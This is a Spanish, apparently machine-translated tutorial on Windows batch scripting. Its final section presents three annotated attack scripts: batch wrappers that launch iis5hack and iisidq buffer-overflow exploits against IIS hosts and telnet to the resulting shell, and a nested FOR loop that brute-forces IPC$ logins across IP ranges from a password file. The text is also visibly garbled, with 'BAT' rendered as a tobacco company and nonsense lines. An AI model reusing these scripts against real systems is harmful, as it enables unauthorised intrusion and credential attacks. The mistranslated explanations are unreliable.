Encontrar el uso de comandos por lotes

Un archivo por lotes es un conjunto de comandos combinados en un archivo de texto ejecutable en un orden determinado, con la extensión BAT.

1. REM

REM es un comando de comentario, generalmente utilizado para comentar programas. Cuando se ejecuta el programa, el contenido después de este comando no se mostrará ni se ejecutará. Ejemplo:

REM, lo que ves ahora es un comentario, esta frase no se ejecutará. Todo lo explicado en futuros ejemplos se colocará después de REM. Tenga en cuenta.

2. Eco

echo es un comando ECHO. Los parámetros principales están encendidos y apagados. Normalmente, los mensajes de eco se utilizan para mostrar mensajes específicos. Ejemplo:

Echo

El Rem anterior significa desactivar el eco, es decir, el comando ejecutado no se mostrará.

Aiko, esto es una noticia.

El Rem de arriba indica la visualización de la columna "Este es un mensaje".

Resultados de la implementación:

c:\gt;echo. Capacitación básica en armaduraˌLicenciatura en enseñanzaˌB.A.T. Industries PLC (la empresa tabacalera más grande del mundo en el Reino Unido)

Esto es noticia.

3. Ir a

GOTO significa saltar. En el procesamiento por lotes, se permite construir una etiqueta con ":XXX" y luego usar directamente GOTO: etiqueta para ejecutar el comando etiquetado. Ejemplo

: Etiqueta

Rem tiene una etiqueta.

Directorio C:\

Directorio D:\

Ir a la etiqueta

REM continúa la ejecución por encima de la etiqueta de salto del programa.

4. Llamar

El comando de llamada puede llamar a otro lote durante la ejecución del lote y luego continuar ejecutando el lote original después de la ejecución del otro lote. Ejemplo:

Segundo lote. 2 contenido. Las mejores técnicas disponibles son las siguientes:

ECHO, este es el contenido de 2.

Contenido del Lote 1. Las mejores técnicas disponibles son las siguientes:

ECHO, este es el contenido de 1

Llamada 2. Basic Armor Training (Entrenamiento básico de armadura)ˌLicenciatura en Enseñanza (Licenciatura en Enseñanza)ˌB.A.T. Industries PLC (la empresa tabacalera más grande del mundo en el Reino Unido)

Los contenidos de ECHO 1 y 2 son todo mostrado.

Los resultados de la implementación son los siguientes:

c:\gt; 1.Basic Armor Training (Licenciatura en Enseñanza)ˌB.A.T.Industries PLC (La empresa de cigarrillos más grande del mundo en Reino Unido)

Este es el contenido de 1.

Este es el contenido de 2.

Se muestran todos los contenidos de 1 y 2.

Pausa

PAUSA detiene la ejecución de comandos del sistema y muestra el siguiente contenido. Ejemplo:

c:\gt; abort

Por favor presione cualquier tecla para continuar...

6. declaración de juicio, el formato de sintaxis es el siguiente:

IF [NOT] comando numérico ERRORLEVEL

IF [NOT] cadena1==cadena2 comando

Si [no no existe] nombre de archivo Comando

Descripción:

[NO] toma el valor inverso del resultado devuelto, que significa "si no".

ERRORLEVEL es el valor de salida devuelto después de ejecutar el comando.

# El rango numérico del valor de salida es de 0 a 255. El orden para juzgar los valores de tiempo debe ser de mayor a menor.

Esta condición es verdadera cuando el valor de retorno es mayor o igual que el valor especificado.

cadena 1 == Cadena2 La cadena 1 y la cadena 2 son datos de caracteres, y las mayúsculas y minúsculas de los caracteres en inglés se considerarán diferentes. En esta condición, debe haber dos signos iguales (igualdad absoluta), y el siguiente comando se ejecutará después de que la condición quiera esperar.

La existencia del nombre del archivo significa que el archivo o directorio existe.

La instrucción IF ERRORLEVEL debe colocarse después del comando. IF ERRORLEVEL determina el valor de retorno después de la ejecución del comando.

Ejemplo:

1. Comando digital IF [NOT] ERRORLEVEL

Detecte el valor de retorno después de ejecutar el comando y emita un juicio.

Echo

Dirección z:

Si el código de salida es 1 (sin éxito), Rem salta al rumbo 1.

Si el nivel de error es 1, vaya a 1

Si el código de salida es 0 (éxito), Rem salta al encabezado 0 para su ejecución.

Si el nivel de error es 0, vaya a 0

: 0

¡El comando echo se ejecutó exitosamente!

Después de ejecutar el programa Rem, salte al título salir y salir.

Ir a salida

: 1

¡La ejecución del comando echo falló!

Después de ejecutar el programa Rem, salte al título salir y salir.

Ir a Salir

:Salir

Rem, esta es la salida del programa.

2. Comando IF string1==string2

Detecta el valor de la variable actual para emitir un juicio.

Echo

Si 1==2, vaya a No

¡Las variables de eco son iguales!

Ir a Salir

: Ninguno

Las variables de eco no son iguales.

Vaya a Salir

:Salir

Puede ver C:\gt;test.bat

3. no existe

Busque un archivo específico y emita un juicio.

Echo

Si no existe, autoexec.bat va a 1

¡El archivo echo existe correctamente!

Ir a salir

:1

El archivo de eco no existe. ¡Fallido!

Ir a Salir

: Salir

Puedes colocar este lote en las unidades C y D para ver el efecto.

7. Este comando de

es muy especial. Es un comando que ejecuta comandos en un bucle. Al mismo tiempo, FOR también se puede aplicar en bucles FOR. Este artículo primero presenta el uso básico sin realizar el bucle de la aplicación y luego explica el bucle de la aplicación más adelante. En el procesamiento por lotes, el comando es el siguiente:

FOR[ c]IN(set)DO[comando][argumentos]

En la línea de comando, el comando es el siguiente:

Para [ c]IN(set)DO[comando][argumentos]

Parámetros comunes:

/LEste conjunto representa una secuencia creciente de números desde el principio para terminar. Por lo tanto, (1,1,5) producirá la secuencia 1 2 3 4 5, y (5,1,1) producirá la secuencia (5 4 3 2 1).

/D Si la colección contiene comodines, especifica que coincide con nombres de directorios pero no con nombres de archivos.

/F lee datos del archivo especificado como una variable.

eol = c - Indica el carácter de comentario de final de línea (solo uno)

skip = n - Indica el número de líneas a ignorar al principio del archivo.

delims = XXX: representa el conjunto de delimitadores. Este conjunto de delimitadores predeterminado reemplaza los espacios y las tabulaciones.

Tokens=x, y, m-n: se refiere a qué símbolo de cada fila se pasa para sí mismo en cada iteración. Esto hará que se asignen nombres de variables adicionales. El formato M-n es un rango. El mésimo se especifica mediante el símbolo enésimo. Si el último carácter de la cadena de símbolos es un asterisco, se asignan variables adicionales y se acepta el texto reservado de la línea después de analizar el último símbolo.

use backq: especifica que la nueva sintaxis se ha utilizado para tratar cadenas con comillas invertidas y caracteres de comillas simples como cadenas de texto al ejecutar comandos, y para permitir que los nombres de archivos se expandan con comillas dobles en el conjunto de nombres de archivos.

Veamos un ejemplo:

FOR/F " eol =; tokens=2, 3* delims=, " i in (myfile.txt) do @echo i j k< / p>

analizará cada línea en myfile.txt, ignorará aquellas líneas que comiencen con punto y coma y pasará el segundo y tercer símbolo de cada línea al cuerpo del programa separados por comas y/o espacios. Tenga en cuenta que la declaración en el cuerpo del programa se refiere a i para obtener el segundo símbolo, j para obtener el tercer símbolo y k para obtener todos los símbolos restantes después del tercer símbolo. Para nombres de archivos con espacios, el nombre del archivo debe estar entre comillas dobles. Para utilizar comillas dobles de esta manera, también debe utilizar la opción usebackq; de lo contrario, se entenderá que las comillas dobles definen una cadena que se va a analizar.

i se describe específicamente en la declaración for, y j y k se describen específicamente en la opción tokens=. Puede especificar hasta 26 símbolos en una sola línea con tokens= siempre y cuando no intente describir variables superiores a la letra "z" o "z". Recuerde, los nombres de las variables distinguen entre mayúsculas y minúsculas y son universales; además, no se pueden utilizar más de 52 simultáneamente.

También puede utilizar la lógica de análisis FOR /F en cadenas adyacentes; haga esto encerrando el conjunto de nombres de archivo entre comillas simples. De esta manera, la cadena se tratará como una única línea de entrada en el archivo. Finalmente, puede usar el comando FOR /F para analizar el resultado de este comando. Para hacer esto, convierta el conjunto de nombres de archivos entre paréntesis en una cadena cerrada. Esta cadena se pasará a CMD.EXE como línea de comando y su salida se capturará en la memoria y se analizará como un archivo. Por lo tanto, aquí hay un ejemplo:

FOR/F " usebackq delims == " I IN(` set `)DO @ echo I

Enumerar las variables de entorno en el nombre del entorno actual .

Aquí hay un ejemplo simple que ilustrará la diferencia entre el parámetro /L y sin parámetros:

Eliminar archivo 1 . txt 2 .

Ejemplo:

Eco

FOR /L F IN (1, 1, 5) DO DEL F.TXT

O p>

Para F IN (1, 2, 3, 4, 5) DO DEL F.TXT

Los resultados de los dos comandos anteriores son los siguientes:

c:\gt; BORRAR 1. Archivo de texto (textfile)

c:\gt;del 2. Archivo de texto (textfile)

c:\gt;del 3. Archivo de texto (textfile)

c:\gt;del 4. Archivo de texto (textfile)

c:\gt;del 5. Archivo de texto (archivo de texto)

8. Establecer localización

Inicie la localización de los cambios del entorno en el archivo por lotes. Después de ejecutar SETLOCAL.

Los cambios de entorno se limitan a archivos por lotes. Para restaurar la configuración original debes ejecutar.

La línea termina localmente.

Cuando se llega al final de un archivo por lotes, los comandos SETLOCAL que aún no se han ejecutado tendrán un ENDLOCAL implícito para cada archivo por lotes

.

Ejecutar. Ejemplo:

@Desactivar eco

SET PATH /*Ver la variable de entorno PATH.

Abortar

SETLOCAL

SET PATH=E:\TOOLS /*Restablece la variable de entorno PATH.

Establecer ruta

Abortar

Finalizar local

Establecer ruta

Como se puede ver en el ejemplo anterior , La variable de entorno PATH es la ruta predeterminada del sistema cuando se muestra por primera vez. Cuando se establece en E:\TOOLS, se muestra como E:\TOOLS, pero cuando finaliza, podemos ver la recuperación a la ruta predeterminada del sistema. Pero esta configuración sólo tiene efecto cuando el lote se está ejecutando. Una vez completada la operación por lotes, se restaurará la variable de entorno PATH.

9. Shift

El comando SHIFT puede hacer que el comando en el comando use más de 10 parámetros reemplazables (0 ~ 9).

Eco

ECO 1 2 3 4 5 6 7 8 9

Cambiar

ECO 1 2 3 4 5 6 7 8 9

Cambios

ECHO 1 2 3 4 5 6 7 8 9

Los resultados de la implementación son los siguientes:

c::\ gt;reemplazar bloque. Bat1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

Los anteriores son 9 comandos por lotes basados ​​en WIN2000.

Parte 2: Símbolos especiales y procesamiento por lotes.

No se permite el uso de algunos símbolos en la línea de comando, pero algunos símbolos tienen significados especiales.

1, el símbolo (@)

@ en el procesamiento por lotes significa desactivar el eco de la línea actual. Por lo anterior sabemos que el comando echo off puede apagar todo el lote de eco, pero no podemos dejar de mostrar el comando echo off. Ahora agregamos @ delante de este comando, de modo que @ desactive el comando echo off para cumplir con el requisito de que no se repetirán todos los comandos.

2. Símbolo (> )

gt significa pasar o cubrir. Su función es pasar los resultados del eco en ejecución al siguiente alcance (pero el siguiente archivo también puede ser la consola del sistema predeterminada). Ejemplo:

El contenido del archivo 1.txt es:

1 1

Utilice el comando c:\gt;dir*. txt gt1.txt

En este momento, el contenido de 1.txt es el siguiente

El volumen en la unidad c no tiene etiqueta.

El número de serie del volumen es 301A-1508.

C:\Directorio

2003-03-11 14:04 1 005 FRUNLOG.

Archivo de texto (archivo de texto)

2003-04-04 16:38 18598494 log .txt

1.txt

2003-03-12 11:43 0 ai error log .txt

2003-03-30 00:35 30,571 202.108.txt

5 archivos 18,630,070 bytes

0 directorios 1,191,542,784 bytes disponibles

¿GT ejecutará el final del comando? ¿Alimentar la tos de trineo? ¿Celoso de Namu? ¿Por qué?

No habrá eco cuando el programa se transmita a la consola (nota: eco y eco desactivado aquí no son el mismo concepto. Eco desactivado desactiva el eco del comando de entrada. El eco aquí es durante la ejecución del programa o Echo después de la ejecución

c:\gt;dir*.txt gtempty

El programa no tendrá visualización ni rastro

3. (> gt)

Símbolo > >>: La función y el símbolo son similares, pero se diferencian en que > gt se agrega con >; (como en el ejemplo anterior (mostrado):

En el archivo 1.txt, ambos son:

1 1

Utilice el comando c:\gt; dir *. gt1.txt

En este momento, el contenido de 1.txt es el siguiente

1 1

El volumen en la unidad c no tiene etiqueta.

El número de volumen es 301A-1508

C:\Directorio

2003-03-11 14:04 1 005 FRUNLOG.

2003-04-04 16:38 18598494 registro

1.txt

2003-03-12 11:43 0 registro de errores ai .

2003-03-30 00:35 30,571 202.108.txt

5 archivos 18,630,070 bytes

0 directorios 1,191,542,784 bytes disponibles

gt El resultado del La ejecución del comando gt se agrega al contenido del archivo original.

4. El símbolo (|)

| es un comando de transmisión de canalización, lo que significa pasar el resultado del comando anterior. el siguiente comando para procesar. Ejemplo:

c:\gt; directorio c:\ | Busque "1508"

El número de serie del volumen es 301A-. /p>

El comando anterior significa buscar en todo c:\ y encontrar la cadena 1508. En cuanto al uso de Buscar, verifíquelo usted mismo con Buscar/

Cuando no uso formatos. automatic Al formatear parámetros, así es como formateo automáticamente el CD:

echo y|fornat a: /s /q /v: system

Todos los que han usado el comando formatear lo saben this, el formato tiene un proceso dual interactivo, que requiere que el usuario ingrese y para decidir si ejecutar el comando actual. Agregue echo y antes de este comando y pase el resultado y de la ejecución del eco al formato con el carácter de transmisión de canalización. lograr la entrada manual del propósito y (este comando es dañino, tenga cuidado al realizar la prueba).

5. El símbolo ()

es el símbolo especial >;, lt, y. El protagonista. En el prefacio, eliminó la energía cinética especial de los tres símbolos anteriores y solo los consideró como símbolos sin utilizar sus significados especiales.

Ejemplo:

c:\gt;Echo test^gt;1.txt

Test gt1.txt

Como se puede ver en lo anterior, la prueba tiene No se ha escrito en el archivo 1.txt, pero se muestra la cadena test>:1.txt. Esta notación es eficaz cuando se crean lotes de forma remota.

6. Símbolo (;)

El símbolo amp permite el uso de más de dos comandos diferentes en una línea. Cuando el primer comando falla, no afecta la ejecución del segundo comando. Ejemplo:

c:\gt; directorio z:\amp; directorio y:\amp; directorio c:\

El comando anterior mostrará z continuamente independientemente de si la letra de la unidad existe o no : y: c: contenido.

7. Símbolo (; amp)

amp ampSymbol también permite utilizar dos o más comandos diferentes en una línea. Después de que el primer comando no se ejecute, los comandos siguientes no se ejecutarán. ejecutado. Ejemplo:

c:\gt; directorio z:\amp; directorio amp y:\amp; directorio amp c:\

El comando anterior solicitará verificar si hay Z : si hay un disco, se ejecutará. De lo contrario, se detendrán todos los comandos posteriores.

8. Símbolo ("")

El símbolo "" permite incluir espacios en la cadena. Para ingresar a un directorio especial, puede utilizar el siguiente método:

c:\gt;cd "Archivos de programa"

c:\gt;cd Program~1

c:\gt;cd pro*

Todos los métodos anteriores pueden ingresar al directorio de archivos del programa.

9. Símbolo (,)

Este símbolo equivale a un espacio. En algunos casos especiales, se puede utilizar en lugar de espacios. Ejemplo:

c:\gt; directorio, c:\

10, símbolo (;)

Cuando los comandos son iguales, el símbolo puede; ser utilizado para diferentes Metas; aisladas, pero logradas sin cambios. Si ocurre un error durante la ejecución, solo se devuelve un informe de error, pero el programa continúa con la ejecución. Ejemplo:

Directorio C:\;d:\;E:\F:\

El comando anterior es equivalente a

directorio C:\

Directorio D:\

Directorio E:\

Directorio F:\

Por supuesto, hay algunos símbolos especiales, pero el alcance de El uso es muy pequeño. Aquí no se explican uno por uno.

Parte 3: Procesamiento por lotes y variables

La referencia adecuada a las variables en el procesamiento por lotes hará que su programa se utilice más ampliamente. El procesamiento por lotes puede procesar variables del 0 al 9 * * * 10 a la vez. Entre ellos, 0 es el nombre predeterminado del archivo del proceso por lotes. Después de usar el comando SHIFT, 0 solo se puede reemplazar por 1. Shift agregas un 0 extra antes de 1, el resultado es el siguiente:

c::\gt; Murciélago 1 2 3 4 5 6 7 8 9 10 11

Cambio. Bat1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

¿Cómo diferencia el sistema entre cada variable? La regla para distinguir variables es el espacio en el medio de la cadena, es decir, siempre que se encuentre un espacio, los caracteres antes del espacio se tratan como una variable y los caracteres después del espacio se tratan como otra variable. Si su variable es un nombre de directorio largo que contiene espacios, debe encerrarlo entre comillas como se usa en el Símbolo especial 8 en la sección anterior.

Ejemplo:

El contenido del lote es:

ECHO 1

Echo 2

Echo 3

Comando de entrada :

c:\gt;prueba "archivo de programa" archivo de programa

archivo de programa

programa

archivo

En un proceso por lotes complejo, se pueden utilizar más de 10 variables al mismo tiempo, lo que entrará en conflicto con las reglas del sistema. Entonces, ¿cómo solucionar este problema? También hay una variable en el sistema llamada variable de entorno (puede usar el comando SET para ver las variables de entorno del sistema actual. Por ejemplo, el directorio del sistema actual es windir o SystemRoot). Cuando se utilizan más de 10 parámetros al mismo tiempo, podemos guardar algunas variables como variables de entorno y llamarlas en programas posteriores. El uso específico es SET A=1, por lo que nombramos una nueva variable de entorno A. Al llamar a la variable A, debemos llamarla A así. La variable de entorno no se ve afectada por el comando SHIFT. Si desea cambiar una variable de entorno, debe restablecerla. Por supuesto, también puedes pasar entre variables para lograr el objetivo. Veamos un ejemplo. El proceso por lotes es el siguiente:

Echo

Establecer proceso=1

Cambiar

Establecer contraseña 1=1

Cambios

ECHO PASS PASS 1 1 2 3 4 5 6 7 8 9

Cambios

ECHO PASS PASS1 9

Recopilar y pasar =PASS1 variable pasada

Establecer contraseña 1=9

Cambiar

ECHO PASS PASS1 9

Usar el comando: C: \gt; Prueba A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K Nota: Esta fila muestra 11 variables.

Después de usar SHIFT tres veces, 9 se convierte en L.

El resultado después de pasar la variable B L.

Parte 4: Caso completo.

Estos son algunos usos del procesamiento por lotes. Ahora combinamos estos usos y hacemos un análisis detallado de algunos lotes publicados en línea para ver qué tan efectivos son. Aquí daré tres ejemplos para un análisis detallado. Para mantener el programa completo, mis comentarios se agregarán después de /*.

Ejemplo 1

Este ejemplo es un proceso por lotes que utiliza iis5hack.exe para desbordar un host con una vulnerabilidad .printer. Los programas utilizados incluyen iis5hack.exe y telnet.exe que vienen con el sistema. El formato del comando de iis5hack es:

iis5hack lt target ip gt lt target port> lt target version> lt overflow connect port> La versión de destino es 0-9 Los números 10 corresponden a diferentes versiones de idiomas y sp. respectivamente. El formato de comando que utilizamos en el procesamiento por lotes es que el número de versión inicial es opcional. El procedimiento es el siguiente.

@echo off /*Desactivar el comando echo

If " 1" = ""gotohelp/* Determine si 1 está vacío y 1 es la IP de destino.

Si " 2" = "1" goto1/* determina si 2 es 1. Si es 1, la bandera de salto es 1.

Si "2" == "2" goto 2/* 2 es el número de versión inicial, si no está configurado, entonces

Si "2" = "3" goto3/* Si está presente, ejecútelo desde la ubicación coincidente.

Si "2" == "4" pasa a 4

Si "2" == "5" pasa a 5

Si "2" = = " 6 "Ir a 6

Si " 2" == " 7 "Ir a 7

Si " 2 " == " 8 "Ir a 8

Si no existe, iis5hack.exe goto file/* ejecuta el contenido de la sección del archivo de bandera sin buscar iis5hack.exe.

Ping 1-n 1 | busque " Recibido = 1 "/* Haga ping al objetivo 1 vez y busque Recibido = 1 en los resultados.

Si el nivel de error 1 va al error /*Si el código de retorno es 1, se ejecutará la sección de error (el código 1 significa que no se encuentra 0 y la ejecución es exitosa).

IIS 5 hack 1 809 88 | Encuentra "bueno" /* Comienza a desbordar el puerto de destino 80. Después de que el código del sistema 9 se desborda, el puerto de conexión 88 encuentra la cadena "buena" en el resultado de la ejecución (la cadena "buena" solo aparecerá después de que el desbordamiento sea exitoso).

Si no hay un nivel de error 1, vaya a telnet/*Si no hay un código de error 1 (el desbordamiento es exitoso), ejecute el contenido del segmento telnet.

¡Echo OS Tipo 9 falló! /De lo contrario, muestre esta oración.

: 8 /* Consulte el contenido anterior para conocer el siguiente contenido del código.

iis5hack 1 80 8 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

¡Echo OS tipo 8 falló!

: 7

iis5hack 1 80 7 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS ¡El tipo 7 falló!

: 6

iis5hack 1 80 6 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS ¡El tipo 6 falló!

: 5

iis5hack 1 80 5 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS ¡El tipo 5 falló!

: 4

iis5hack 1 80 4 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS ¡El tipo 4 falló!

: 3

iis5hack 1 80 3 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS ¡El tipo 3 falló!

: 2

iis5hack 1 80 2 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS ¡El tipo 2 falló!

: 1

iis5hack 1 80 1 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Operación de eco ¡El tipo de sistema 1 falló!

: 0

iis5hack 1 80 0 88 | Encontrado "OK"

Si no es nivel de error 1, vaya a telnet

Volver a mostrar ¡El sistema operativo tipo 0 falló!

Ir al error

: telnet

Telnet 1 88 /* Comienza a conectarse al puerto 88 de la ip de destino.

Ir a salir /*Saltar a la sección de salida después de que se interrumpa la conexión.

:error/*La parte del error muestra la información de ayuda después del error.

¡Es posible que Echo no pueda conectarse a la red o que la otra parte solucione la vulnerabilidad! ¡Pruébelo manualmente de acuerdo con el siguiente formato!

Hack de echo IIS 5[IP de destino] [puerto WEB][tipo de sistema][puerto abierto]

Respuesta chino: 0

ECHO chino sp1: 1

Echo inglés: 2

Echo inglés sp1: 3

Echo japonés: 4

ECHO japonés sp1: 5

ECHO Coreano: 6

ECHO Coreano sp1: 7

ECHO MÉXICO: 8

ECHO MÉXICO sp1: 9

Ir a salir /*Saltar a la sección de salida.

: la sección archivo /*archivo muestra información de que el archivo no se encuentra.

¡Iis5hack.exe no encontró el archivo echo! ¡El programa dejó de ejecutarse!

Ir a salir /*Saltar a la sección de salida.

: ayuda /*La sección de ayuda muestra la ayuda de formato para este lote.

El uso del programa Echo es el siguiente:

Echo IIS[IP de destino]

echo IIS[IP de destino][número inicial 9-0]

:salir /*La sección de salida es la salida del programa.

Básicamente no hay ningún ciclo en este lote, simplemente desciende por completo. ¡Entonces el código es largo y no difícil!

Ejemplo 2

Este ejemplo es un proceso por lotes que utiliza iisidq.exe para desbordar una máquina con una vulnerabilidad idq. Los programas utilizados son iisidq.exe y el programa telnet.exe que viene con el sistema. El uso de iisidq.exe es el siguiente:

Parámetros operativos: tipo de sistema operativo dirección de destino puerto web 1 puerto de escucha de desbordamiento;

Entre ellos, si no se ingresan parámetros de comando de entrada, el valor predeterminado es "cmd.exe".

El rango de codificación del tipo de sistema operativo es 0-14. El formato de comando utilizado en nuestro procesamiento por lotes es

@echo off /*Igual que el ejemplo 1

Si no existe, iisidq.exe vaya al archivo/*Igual que el ejemplo 1.

Si 1 == " "Ir al error/*Igual que el ejemplo 1.

ping 1-n 1 | buscar "recibido = 1"/*Igual que el ejemplo 1.

Si el nivel de error 1 es gotoerror1/*Igual que el ejemplo 1.

Establecer b=1 /*Crea una variable de entorno B y pasa el contenido de la variable 1 a la variable de entorno B. El contenido de la variable B es la futura IP de destino.

Establezca a=0 /*Cree una variable de entorno A y especifique la variable de entorno A como 0. Debido a que se utiliza todo el ciclo del lote, se utiliza a como contador.

:no /*Inicio de ningún segmento

Si a==0 establece d=0 /*Si la variable de entorno a=0, crea la variable de entorno d y establece la variable de entorno d = 0.

Si a==1 set d=1 /*La variable de entorno d es en realidad un código de tipo de sistema operativo, controlado por un contador.

Si a==2 establece d=2 /*Cambiar.

Si a==3, establezca d=3

Si a==4, establezca d=4

Si a==5, establezca d= 5

Si a==6, establezca d=6

Si a==7, establezca d=7

Si a==9, establezca d =9

p>

Si a==10, establezca d=13

Si a==11, establezca d=14

Ir a 0 /*Después la variable está completa, transfiérala a la marca 0 para su operación.

:1

¡Echo está ejecutando el proyecto d! ¡No se puede conectar al objetivo b! Intentando conectarme, espera. ......

: 0 /*Marcar el comienzo de 0

IIS idq d b 80 1 99 | find "good"/*Enviar el comando de desbordamiento en el formato y en el resultado Busque la cadena good (la cadena good se encontrará solo cuando el código se envíe correctamente).

Si el nivel de error 1 es goto1/*Si no hay una cadena buena, no se enviará como un salto.

/*Ve a 1 y continúa intentando enviar.

Ping 127.0.0.1 -n 8 >Nul /*Hacer ping a ti mismo 8 veces equivale a retrasar la visualización durante 8 segundos.

/*Resultados de fila

Echo está ejecutando el elemento d!/*Tipo de sistema operativo que informa desbordamiento.

Telnet b 99 /*Conectar puerto de desbordamiento

Echo. /*Mostrar líneas en blanco.

Si d = = 14 gotoerror1/*Si el tipo de sistema operativo es 14, salte al error 1 (salida del bucle).

Si d == 13 establece a = 11/* Comience a volver a adjuntar el código del sistema operativo con el contador.

Si d==9, establezca a=10

Si d==7, entonces establezca a=9

Si d==6, entonces establezca a =7

Si d==5, entonces establezca a=6

Si d==4, entonces establezca a=5

Si d== 3, luego establezca a=4

Si d==2, entonces establezca a=3

Si d==1 establezca a=2

Si d = =0, luego establece a=1

Ir a no /*El valor adicional completa la ejecución del salto sin segmento.

:archivo /*El siguiente es el mensaje de ayuda después de un error.

¡Aike, no se encontró IIsidq.exe! ¡Ponga este archivo en el mismo directorio que este archivo!

Ir a Salir

: Error

¡Error de eco! ¡No se puede reconocer la IP de destino! ¡Utilice el siguiente formato para conectarse!

idq de eco[IP de destino]

Ir a salir

: Error 1

¡Error en la conexión de eco! ¡Puede ser que la máquina de destino haya solucionado la vulnerabilidad o que haya una falla en la red!

Echo, ¡pruébalo manualmente según el siguiente formato!

echo iisidq[tipo de destino][IP de destino][puerto de destino][método de conexión][puerto de desbordamiento]

echo telnet[IP de destino][puerto de desbordamiento]

: salir /*Salir de todo el programa

Domine todo el ciclo utilizado por este lote y domine el lote dominando la contraparte.

Ejemplo 3

para /l a en (0, 1, 255) hacer para /l b en (0, 1, 255) hacer para /l c en (1, 1, 254 ) hacer para /f "tokens=1, 2 * " e en (contraseña de usuario. txt) hacer uso neto \ \ 1.

a . b . c \ IPC $ e/u: f

El comando anterior es un comando 1. Como puede ver, este comando utiliza cuatro FOR. Uso: C:\gt;prueba. BAT 218 Después de ingresar 218, el comando tomará el valor inicial 0 de 1 como a por segunda vez, luego continuará tomando el valor inicial 0 como b y continuará tomando el valor inicial 1 como c por tercera vez. El último es utilizar el primer carácter en userpass.txt como segunda contraseña, e.

net usr \ \ 218 . 0 . 0 1 \ IPC $ 123/u: ABC

Por supuesto, algunos amigos pueden decir que el ejemplo anterior es demasiado simple y rígido. flexible. He realizado algunas modificaciones a este ejemplo (consulte ipc.bat para ver el archivo completo) y los amigos interesados ​​pueden echarle un vistazo por sí mismos. El programa modificado puede encontrar de manera flexible el rango desde el principio hasta el final que especifique o desde el principio hasta la IP máxima que especifique. Por supuesto, las funciones aún se pueden mejorar. En cuanto a hasta qué punto se puede fortalecer y si puede convertirse en una nueva herramienta, eso es asunto suyo.

Esta acción de bucle es un poco grande, principalmente porque es problemático reemplazar los números de IP y no hay otra manera. No escribiré ningún comentario sobre este lote. Consulte lo anterior y comprenderá este lote rápidamente. ¡No digas que es simple cuando lo entiendes! ¡Al menos es un proceso por lotes que detecta y guarda contraseñas débiles sin utilizar herramientas de terceros! ! Simplemente cambiarlo sigue siendo muy destructivo. Todos estos lotes pasaron la prueba en win2000 y xp. La mayor ventaja es que solo hay un archivo por lotes y no habrá falsos positivos. ¡La desventaja es que es demasiado largo!